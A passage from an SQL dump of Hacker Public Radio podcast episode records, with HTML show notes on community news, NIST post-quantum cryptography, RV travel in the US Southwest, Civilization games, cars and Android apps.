Search Engine</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 8 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 4 comments on\n3 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3941/index.html#comments\" target=\"_blank\">hpr3941</a></strong>\n(2023-09-11) \"<em>Interview with Yosef Kerzner</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3941/index.html#2\" target=\"_blank\">Comment 2</a>:\ndnt on 2023-10-02:\n\"Great interview!\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3941/index.html#3\" target=\"_blank\">Comment 3</a>:\nWindigo on 2023-10-24:\n\"Great conversation\"</li></ul><br/>\n</limage><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3947/index.html#comments\" target=\"_blank\">hpr3947</a></strong>\n(2023-09-19) \"<em>Archiving Floppy Disks</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0334.html\" target=\"_blank\">Steve Saner</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3947/index.html#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2023-10-09:\n\"feedback\"</li></ul><br/>\n</limage><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3953/index.html#comments\" target=\"_blank\">hpr3953</a></strong>\n(2023-09-27) \"<em>Large language models and AI don\'t have any common sense</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0424.html\" target=\"_blank\">hobs</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3953/index.html#1\" target=\"_blank\">Comment 1</a>:\nMr Young on 2023-10-01:\n\"LLMs are great if you use them right\"</li></ul><br/>\n</limage></ul>\n<h3>This month\'s shows</h3>\n<p>There are 4 comments on 4 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3961/index.html#comments\" target=\"_blank\">hpr3961</a></strong>\n(2023-10-09) \"<em>RERE: How to make friends.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3961/index.html#1\" target=\"_blank\">Comment 1</a>:\ncaezr on 2023-10-10:\n\"hello\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3965/index.html#comments\" target=\"_blank\">hpr3965</a></strong>\n(2023-10-13) \"<em>I\'ve taken the Conqueror Virtual Challenge</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0382.html\" target=\"_blank\">Daniel Persson</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3965/index.html#1\" target=\"_blank\">Comment 1</a>:\nKeith (kdmurray) on 2023-10-15:\n\"LOTR Challenge\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3966/index.html#comments\" target=\"_blank\">hpr3966</a></strong>\n(2023-10-16) \"<em>Vim Hints: 006</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3966/index.html#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2023-10-17:\n\"It\'s all relative\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3971/index.html#comments\" target=\"_blank\">hpr3971</a></strong>\n(2023-10-23) \"<em>RERERE: How to make friends.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3971/index.html#1\" target=\"_blank\">Comment 1</a>:\nkdmurray on 2023-10-28:\n\"Great Series\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://lists.hackerpublicradio.com/pipermail/hpr/2023-October/thread.html\" target=\"_blank\">https://lists.hackerpublicradio.com/pipermail/hpr/2023-October/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h2 id=\"site-migration\">Site migration</h2>\n<ul>\n<li>Fixed the code that computes the number of days to the next free\nslot.</li>\n</ul>\n<h2 id=\"donating-to-the-internet-archive\">Donating to the Internet\nArchive</h2>\n<ul>\n<li>There is currently a gift matching campaign which can double the\nimpact of donations! <a href=\"https://archive.org/donate\">Donate now</a>\nto show appreciation for the service that hosts a lot of HPR content for\nus.</li>\n</ul>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3800,'2023-02-24','NIST Quantum Cryptography Update 20221008',928,'An update on the preparations for quantum computing','<p>The process NIST initiated in 2016 continues as it looks for\nencryption algorithms that will be secure against the anticipated\narrival of practical quantum computing. In this update I report on the\nfirst 4 Candidates to be Standardized, and the timeline for completion.\nIt is coming faster than you may have realized.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://miracl.com/blog/backdoors-in-nist-elliptic-curves/\"\nclass=\"uri\">https://miracl.com/blog/backdoors-in-nist-elliptic-curves/</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Qubit\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Qubit</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Transport_Layer_Security\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Transport_Layer_Security</a></li>\n<li><a href=\"https://csrc.nist.gov/Projects/post-quantum-cryptography\"\nclass=\"uri\">https://csrc.nist.gov/Projects/post-quantum-cryptography</a></li>\n<li><a\nhref=\"https://www.zwilnik.com/security-and-privacy/encryption-and-quantum-computing/\"\nclass=\"uri\">https://www.zwilnik.com/security-and-privacy/encryption-and-quantum-computing/</a></li>\n<li><a href=\"http://hackerpublicradio.org/eps.php?id=2860\"\nclass=\"uri\">http://hackerpublicradio.org/eps.php?id=2860</a></li>\n<li><a\nhref=\"https://www.zwilnik.com/security-and-privacy/nists-quantum-cryptography-update-20200815/\"\nclass=\"uri\">https://www.zwilnik.com/security-and-privacy/nists-quantum-cryptography-update-20200815/</a></li>\n<li><a href=\"http://hackerpublicradio.org/eps.php?id=3147\"\nclass=\"uri\">http://hackerpublicradio.org/eps.php?id=3147</a></li>\n<li><a\nhref=\"https://csrc.nist.gov/News/2016/Post-Quantum-Cryptography-Proposed-Requirements\"\nclass=\"uri\">https://csrc.nist.gov/News/2016/Post-Quantum-Cryptography-Proposed-Requirements</a></li>\n<li><a\nhref=\"https://csrc.nist.gov/Projects/post-quantum-cryptography/selected-algorithms-2022\"\nclass=\"uri\">https://csrc.nist.gov/Projects/post-quantum-cryptography/selected-algorithms-2022</a></li>\n<li><a\nhref=\"https://csrc.nist.gov/Projects/post-quantum-cryptography/round-4-submissions\"\nclass=\"uri\">https://csrc.nist.gov/Projects/post-quantum-cryptography/round-4-submissions</a></li>\n<li><a\nhref=\"https://csrc.nist.gov/projects/pqc-dig-sig/standardization/call-for-proposals\"\nclass=\"uri\">https://csrc.nist.gov/projects/pqc-dig-sig/standardization/call-for-proposals</a></li>\n<li><a\nhref=\"https://www.nist.gov/blogs/taking-measure/post-quantum-cryptography-qa-nists-matt-scholl\"\nclass=\"uri\">https://www.nist.gov/blogs/taking-measure/post-quantum-cryptography-qa-nists-matt-scholl</a></li>\n<li><a\nhref=\"https://thehackernews.com/2022/07/nist-announces-first-four-quantum.html\"\nclass=\"uri\">https://thehackernews.com/2022/07/nist-announces-first-four-quantum.html</a></li>\n<li><a href=\"https://csrc.nist.gov/Projects/post-quantum-cryptography\"\nclass=\"uri\">https://csrc.nist.gov/Projects/post-quantum-cryptography</a></li>\n<li><a\nhref=\"https://www.zwilnik.com/security-and-privacy/nist-quantum-cryptography-update-20221008/\"\nclass=\"uri\">https://www.zwilnik.com/security-and-privacy/nist-quantum-cryptography-update-20221008/</a></li>\n</ul>\n',198,74,0,'CC-BY-SA','NIST, Encryption, quantum computing',0,0,1),
(3810,'2023-03-10','Clifton, Arizona',963,'We move to another Arizona town, Clifton.','<p>We have left the Tucson area and moved up into the mountains to\nClifton, Arizona, a mining town. Arizona is a major source of Copper for\nthe U.S., and Clifton has one of the larger open pit mines in the world,\nand the largest in the U.S.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://flic.kr/s/aHBqjzKQCb\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKQCb</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKSz8\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKSz8</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKTKL\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKTKL</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKUba\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKUba</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKSqt\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKSqt</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKUkN\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKUkN</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKU3S\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKU3S</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKXtk\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKXtk</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKXk8\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKXk8</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKYXo\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKYXo</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKZr5\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKZr5</a></li>\n<li><a href=\"https://www.palain.com/travel/clifton-arizona/\"\nclass=\"uri\">https://www.palain.com/travel/clifton-arizona/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','Travel, RV life, Arizona, Clifton',0,0,1),
(3820,'2023-03-24','Introduction to Gaming',991,'How I first got started with Computer Strategy Games','<p>This starts out the series on Computer Strategy Games, and we begin\nwith the game that got me hooked, the first Civilization game created by\nSid Meier and published by Microprose. Though it is pretty old now, it\nis still fond in my heart, and in the hearts of so many other gamers. If\nthis comes across as a love letter, so be it. We will also in this\nseries look at where you can obtain old games, and where you can find\nmore information about the games I cover.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Civilization_(series)\"\nclass=\"uri\">https://en.wikipedia.org/wiki/Civilization_(series)</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/4X\"\nclass=\"uri\">https://en.wikipedia.org/wiki/4X</a></li>\n<li><a\nhref=\"http://flashofsteel.com/index.php/2006/09/18/gamers-bookshelf-civilization-or-rome-on-640k-a-day/\"\nclass=\"uri\">http://flashofsteel.com/index.php/2006/09/18/gamers-bookshelf-civilization-or-rome-on-640k-a-day/</a></li>\n<li><a\nhref=\"https://www.amazon.com/Sid-Meiers-Civilization-Chronicles-PC/dp/B000IU1PQA\"\nclass=\"uri\">https://www.amazon.com/Sid-Meiers-Civilization-Chronicles-PC/dp/B000IU1PQA</a></li>\n<li><a href=\"https://playclassic.games/\"\nclass=\"uri\">https://playclassic.games/</a></li>\n<li><a href=\"https://www.myabandonware.com/\"\nclass=\"uri\">https://www.myabandonware.com/</a></li>\n<li><a\nhref=\"https://www.myabandonware.com/game/sid-meier-s-civilization-1nj\"\nclass=\"uri\">https://www.myabandonware.com/game/sid-meier-s-civilization-1nj</a></li>\n<li><a href=\"https://www.civfanatics.com/civ1/manual/civ1_man.htm\"\nclass=\"uri\">https://www.civfanatics.com/civ1/manual/civ1_man.htm</a></li>\n<li><a href=\"https://www.civfanatics.com/civ1/cia/\"\nclass=\"uri\">https://www.civfanatics.com/civ1/cia/</a></li>\n<li><a\nhref=\"https://forums.civfanatics.com/media/categories/civilization-gallery.16/\"\nclass=\"uri\">https://forums.civfanatics.com/media/categories/civilization-gallery.16/</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=CkmHeepmjEc\"\nclass=\"uri\">https://www.youtube.com/watch?v=CkmHeepmjEc</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=VF8Ribe5AFU\"\nclass=\"uri\">https://www.youtube.com/watch?v=VF8Ribe5AFU</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=L7GkX4h-TP8\"\nclass=\"uri\">https://www.youtube.com/watch?v=L7GkX4h-TP8</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=3UuXa3PRSGo\"\nclass=\"uri\">https://www.youtube.com/watch?v=3UuXa3PRSGo</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=Q1d08T8_wI4\"\nclass=\"uri\">https://www.youtube.com/watch?v=Q1d08T8_wI4</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=AJ-auWfJTts\"\nclass=\"uri\">https://www.youtube.com/watch?v=AJ-auWfJTts</a></li>\n<li><a\nhref=\"https://www.amazon.com/Sid-Meiers-Memoir-Computer-Games/dp/B08MNG8VX8/\"\nclass=\"uri\">https://www.amazon.com/Sid-Meiers-Memoir-Computer-Games/dp/B08MNG8VX8/</a></li>\n<li><a href=\"https://www.palain.com/gaming/sid-meiers-civilization/\"\nclass=\"uri\">https://www.palain.com/gaming/sid-meiers-civilization/</a></li>\n</ul>\n',198,122,0,'CC-BY-SA','Computer games, strategy games, Civilization',0,0,1),
(3830,'2023-04-07','Into New Mexico',856,'We move to another state, New Mexico.','<p>We made a change in our itinerary and instead of going up into the\nmountains of New Mexico we went down to the area of the border of\nMexico. Our first stop was in Deming, NM for a few days, the on to\nAnthony, NM for a longer stay of nearly three weeks. Anthony is located\nbetween Las Cruces, NM, and El Paso, Texas, so it was a convenient\nlocation for visiting both of the places, and we did so. In hindsight,\nwe liked Las Cruces and the New Mexico part a lot better than El\nPaso.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://flic.kr/s/aHBqjzKYwL\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKYwL</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzL1pH\"\nclass=\"uri\">https://flic.kr/s/aHBqjzL1pH</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKYwM\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKYwM</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKZcd\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKZcd</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKYVh\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKYVh</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzL1F8\"\nclass=\"uri\">https://flic.kr/s/aHBqjzL1F8</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKZLE\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKZLE</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzL6F3\"\nclass=\"uri\">https://flic.kr/s/aHBqjzL6F3</a></li>\n<li><a href=\"https://www.palain.com/travel/into-new-mexico/\"\nclass=\"uri\">https://www.palain.com/travel/into-new-mexico/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','Travel, RV life, New Mexico, Deming, Anthony, Las Cruces, El Paso',0,0,1),
(3840,'2023-04-21','Playing the Original Civilization',899,'Hints on playing the game that started it all','<p>This game is pretty old, but I found that wen I started a game\nrecently to prepare for this episode that it was still as addictive as\never. I won\'t claim it is essential for everyone to run out and get it,\nbut if you did happen to find a copy somewhere and play it, you might\nfind you enjoy it. In this episode I give a few hints about getting\nstarted with this game.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a\nhref=\"https://civilization.fandom.com/wiki/Help_with_playing_Civ1#Choice_of_initial_city_site\"\nclass=\"uri\">https://civilization.fandom.com/wiki/Help_with_playing_Civ1#Choice_of_initial_city_site</a></li>\n<li><a\nhref=\"https://www.palain.com/gaming/sid-meiers-civilization/playing-the-original-civilization-hints/\"\nclass=\"uri\">https://www.palain.com/gaming/sid-meiers-civilization/playing-the-original-civilization-hints/</a></li>\n</ul>\n',198,122,0,'CC-BY-SA','Computer games, strategy games, Civilization',0,0,1),
(3850,'2023-05-05','New Mexico 2',822,'We finish our stay in New Mexico and head to Presidio, Texas.','<p>We finished our stay in Anthony with a Saturday trip into Las Cruces\nto see the local market and the museums, more hiking, and a trip to see\nNative American Petroglyphs. We also went into El Paso to check out the\nzoo. It was fine, but we confirmed that we don\'t really like going into\nEl Paso. We are not much on driving in big cities any longer,\nparticularly in a big truck. Then it was time to move on to our next\nstop, Presidio, Texas. This is so close to the border that a 5 minute\nwalk takes you to the Rio Grande.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://flic.kr/s/aHBqjzL5vB\"\nclass=\"uri\">https://flic.kr/s/aHBqjzL5vB</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzL5VY\"\nclass=\"uri\">https://flic.kr/s/aHBqjzL5VY</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzL7XD\"\nclass=\"uri\">https://flic.kr/s/aHBqjzL7XD</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzL9jQ\"\nclass=\"uri\">https://flic.kr/s/aHBqjzL9jQ</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzL8cZ\"\nclass=\"uri\">https://flic.kr/s/aHBqjzL8cZ</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzLc5f\"\nclass=\"uri\">https://flic.kr/s/aHBqjzLc5f</a></li>\n<li><a href=\"https://www.palain.com/travel/new-mexico-2/\"\nclass=\"uri\">https://www.palain.com/travel/new-mexico-2/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','Travel, RV life, New Mexico, Anthony, Las Cruces, El Paso, Presidio',0,0,1),
(3860,'2023-05-19','Civilization II',923,'The game I spent the most time on: Civilization II','<p>This game is not quite as old, and it did make some changes. But the\nsame \"One-more-turn\" addictiveness is still there. I can\'t tell you many\ntimes I started a game, and the next thing I knew the Sun was coming up\noutside my window. I\'m too old to do that any more, but if I start\nanother game of Civ II I will be right back in it.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://playclassic.games/?s=Civilization+II\"\nclass=\"uri\">https://playclassic.games/?s=Civilization+II</a></li>\n<li><a href=\"https://www.myabandonware.com/browse/name/C/page/38/\"\nclass=\"uri\">https://www.myabandonware.com/browse/name/C/page/38/</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=sHfk5VhAvWU\"\nclass=\"uri\">https://www.youtube.com/watch?v=sHfk5VhAvWU</a></li>\n<li><a href=\"http://www.replacementdocs.com/download.php?view.365\"\nclass=\"uri\">http://www.replacementdocs.com/download.php?view.365</a></li>\n<li><a href=\"https://sleague.civfanatics.com/index.php?title=Main_Page\"\nclass=\"uri\">https://sleague.civfanatics.com/index.php?title=Main_Page</a></li>\n<li><a\nhref=\"https://www.mobygames.com/game/windows/civilization-ii-test-of-time\"\nclass=\"uri\">https://www.mobygames.com/game/windows/civilization-ii-test-of-time</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=Ysk4o1zKsuE&amp;t=5s\"\nclass=\"uri\">https://www.youtube.com/watch?v=Ysk4o1zKsuE&amp;t=5s</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=9XokQ-VDd88\"\nclass=\"uri\">https://www.youtube.com/watch?v=9XokQ-VDd88</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=owt0CR9YHiA&amp;t\"\nclass=\"uri\">https://www.youtube.com/watch?v=owt0CR9YHiA&amp;t</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=pbGJrUTBHAY\"\nclass=\"uri\">https://www.youtube.com/watch?v=pbGJrUTBHAY</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=yKs9Mtu_Fn4\"\nclass=\"uri\">https://www.youtube.com/watch?v=yKs9Mtu_Fn4</a></li>\n<li><a href=\"https://www.palain.com/gaming/civilization-ii/\"\nclass=\"uri\">https://www.palain.com/gaming/civilization-ii/</a></li>\n</ul>\n',198,122,0,'CC-BY-SA','Computer games, strategy games, Civilization II',0,0,1),
(3870,'2023-06-02','Texas',765,'We wrap up our trip in Texas before heading back home to Michigan','<p>Our stay in Presidio was a nice one, and we enjoyed the companionship\nat the RV park. This gave us access to the Big Bend Ranch State Park,\nand we had a few good outings there. But we wanted to visit the Big Bend\nNational Park, which was not as reachable as we would like, so we booked\na few days in Alpine, Texas. This turned out to be fortuitous for an\nimportant repair. And after seeing the National Park it was time to head\nback to Michigan. We had a long but very nice trip, but as always at the\nend of a trip we look forward to being back in our home and sleeping in\nour bed.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://flic.kr/s/aHBqjzLaJR\"\nclass=\"uri\">https://flic.kr/s/aHBqjzLaJR</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzLbSF\"\nclass=\"uri\">https://flic.kr/s/aHBqjzLbSF</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzLeL8\"\nclass=\"uri\">https://flic.kr/s/aHBqjzLeL8</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzLexu\"\nclass=\"uri\">https://flic.kr/s/aHBqjzLexu</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzLfXK\"\nclass=\"uri\">https://flic.kr/s/aHBqjzLfXK</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzLeLR\"\nclass=\"uri\">https://flic.kr/s/aHBqjzLeLR</a></li>\n<li><a href=\"https://www.palain.com/travel/texas/\"\nclass=\"uri\">https://www.palain.com/travel/texas/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','Travel, RV life, Texas, Presidio, Alpine',0,0,1),
(3711,'2022-10-24','Cars',2042,'A short review of Cars today','<h2 id=\"car-company\">Car company</h2>\n<ul>\n<li><p>A:<br />\n<a href=\"https://www.ford.com/\"\nclass=\"uri\">https://www.ford.com/</a></p></li>\n<li><p>B:<br />\n<a href=\"https://www.chevrolet.com/\"\nclass=\"uri\">https://www.chevrolet.com/</a></p></li>\n<li><p>C:<br />\n<a href=\"https://www.dodge.com/\"\nclass=\"uri\">https://www.dodge.com/</a></p></li>\n<li><p>D:<br />\n<a href=\"https://www.chrysler.com/#\"\nclass=\"uri\">https://www.chrysler.com/#</a></p></li>\n<li><p>E:<br />\n<a href=\"https://www.buick.com/\"\nclass=\"uri\">https://www.buick.com/</a></p></li>\n<li><p>F:<br />\n<a href=\"https://www.cadillac.com/\"\nclass=\"uri\">https://www.cadillac.com/</a></p></li>\n<li><p>G:<br />\n<a href=\"https://www.lincoln.com/\"\nclass=\"uri\">https://www.lincoln.com/</a></p></li>\n<li><p>H:<br />\n<a href=\"https://www.toyota.com/\"\nclass=\"uri\">https://www.toyota.com/</a></p></li>\n<li><p>I:<br />\n<a href=\"https://www.nissanusa.com/\"\nclass=\"uri\">https://www.nissanusa.com/</a></p></li>\n<li><p>J:<br />\n<a href=\"https://automobiles.honda.com/\"\nclass=\"uri\">https://automobiles.honda.com/</a></p></li>\n<li><p>K:<br />\n<a\nhref=\"https://www.nytimes.com/2003/08/31/us/cries-of-activism-and-terrorism-in-suv-torching.html\"\nclass=\"uri\">https://www.nytimes.com/2003/08/31/us/cries-of-activism-and-terrorism-in-suv-torching.html</a></p></li>\n<li><p>L:<br />\n<a\nhref=\"https://www.autoweek.com/news/technology/a36189339/solid-state-batteries/\"\nclass=\"uri\">https://www.autoweek.com/news/technology/a36189339/solid-state-batteries/</a>\n<a\nhref=\"https://www.washingtonpost.com/technology/2022/05/18/solid-state-batteries-electric-vehicles-race/\"\nclass=\"uri\">https://www.washingtonpost.com/technology/2022/05/18/solid-state-batteries-electric-vehicles-race/</a></p></li>\n</ul>\n',377,0,0,'CC-BY-SA','Cars, EV\'s, Terrorists, Hydrogen, Fusion, Power Systems',0,0,1),
(3712,'2022-10-25','The last ever CCHits.net Show',5756,'The team talk about the nearly 12 years of producing CCHits.net.','<p>Over 12 years ago, <a href=\"https://jon.sprig.gs\">Jon \"The Nice Guy\"\nSpriggs</a> went to a \"Pod Crawl\" with (among others) <a\nhref=\"https://thelovebug.org/\">Dave \"The Love Bug\" Lee</a>, where he\npitched the idea of a daily music promotion show, with a twist - it\nwould all be automated, and use text-to-speech to introduce\neverything.</p>\n<p>The <a href=\"https://cchits.net/show/1\">first show</a> was released\non 2010-10-24 and the last ever show (this one) was released on\n2022-10-12.</p>\n<p>Over the twelve years, Jon would go on to meet to meet <a\nhref=\"https://twitter.com/frenchguych\">Yannick</a> and Ken Fallon, both\nof whom would go on to shape changes (big and small) to CCHits.</p>\n<p>This year, the cracks started to re-appear in the architecture\nunderneath CCHits - between APIs shutting down that were used to load\ntracks to CCHits, and the general framework being used to write CCHits\nnot receiving the care and attention it needed... and the team finally\ndecided to stop adding new tracks, and let the process build the last\nfew shows.</p>\n<p>This podcast gives you a peek behind the curtain to the team involved\nin the system, and gives you some of the high- and low-lights in the 12\nyears the site ran for.</p>\n',413,0,0,'CC-BY','music,creative commons,podcast',0,0,1),
(3724,'2022-11-10','My top Android apps',579,'I walk through the top apps on my phone','<h3 id=\"my-most-used-apps\">My most used apps</h3>\n<h3 id=\"aio-launcher\">AIO Launcher</h3>\n<ul>\n<!-- <li><a href=\"%5B%5D(https://aiolauncher.app%20%22AIO%20Launcher%22)\">AIO Launcher</a></li> -->\n<li><a href=\"https://aiolauncher.app\" title=\"AIO Launcher\">AIO Launcher</a></li>\n</ul>\n<p><img src=\"https://hackerpublicradio.org/eps/hpr3724/hpr3724/main_sm.png\"\ntitle=\"Main screen\" alt=\"Main screen\" /></p>\n<p><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3724/hpr3724/quick_launch_sm.png\"\ntitle=\"Quick Launch screen\" alt=\"Quick Launch screen\" /></p>\n<p><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3724/hpr3724/side_panel_sm.png\"\ntitle=\"Side panel screen\" alt=\"Side panel screen\" /></p>\n<h4 id=\"termux-terminal-emulator-with-packages\">Termux: Terminal\nemulator with packages</h4>\n<ul>\n<li><p><a href=\"https://f-droid.org/en/packages/com.termux\"\ntitle=\"Termux: Terminal emulator with packages\">Termux: Terminal\nemulator with packages</a></p></li>\n<li><p>Connect to the home network</p>\n<ul>\n<li>Start a video encoding, or rip a DVD</li>\n</ul></li>\n<li><p>Vim editor</p></li>\n<li><p>Secure files</p>\n<ul>\n<li>pwgen -y 30 3: Generate three 30 character passwords with\nsymbols</li>\n<li>Other confidential info\n<ul>\n<li>hpr3484 :: My vim setup with GnuPG\n<ul>\n<li><a href=\"https://www.hackerpublicradio.org/eps.php?id=3484\"\ntitle=\"My vim setup with GnuPG\">My vim setup with GnuPG</a></li>\n</ul></li>\n</ul></li>\n</ul></li>\n</ul>\n<h4 id=\"qksms-messaging\">QKSMS Messaging</h4>\n<ul>\n<li><p><a href=\"https://f-droid.org/en/packages/com.moez.QKSMS\"\ntitle=\"QKSMS Messaging: F-droid\">QKSMS Messaging: F-droid</a></p></li>\n<li><p><a href=\"https://github.com/moezbhatti/qksms\"\ntitle=\"QKSMS Messaging: Github\">QKSMS Messaging: Github</a></p></li>\n</ul>\n<h4 id=\"firefox-browser\">Firefox browser</h4>\n<ul>\n<li><a\nhref=\"https://play.google.com/store/apps/details?id=org.mozilla.firefox\"\ntitle=\"Firefox browser\">Firefox browser</a></li>\n</ul>\n<h4 id=\"opera-browser\">Opera browser</h4>\n<ul>\n<li><a\nhref=\"https://play.google.com/store/apps/details?id=com.opera.browser\"\ntitle=\"Opera browser\">Opera browser</a></li>\n</ul>\n<h4 id=\"brave-browser\">Brave browser</h4>\n<ul>\n<li><a\nhref=\"https://play.google.com/store/apps/details?id=com.brave.browser\"\ntitle=\"Brave browser\">Brave browser</a></li>\n</ul>\n<h4 id=\"clear-scanner-pdf-scanner-and-ocr\">Clear Scanner PDF scanner and\nOCR</h4>\n<ul>\n<li><p><a href=\"https://indymobileapp.com\"\ntitle=\"Clear Scanner PDF scanner and OCR\">Clear Scanner PDF scanner and\nOCR</a></p>\n<ul>\n<li>OCR: Optical character recognition</li>\n<li>Multiple folders</li>\n<li>Donation option</li>\n</ul></li>\n</ul>\n<h4 id=\"antennapod\">Antennapod</h4>\n<ul>\n<li><a 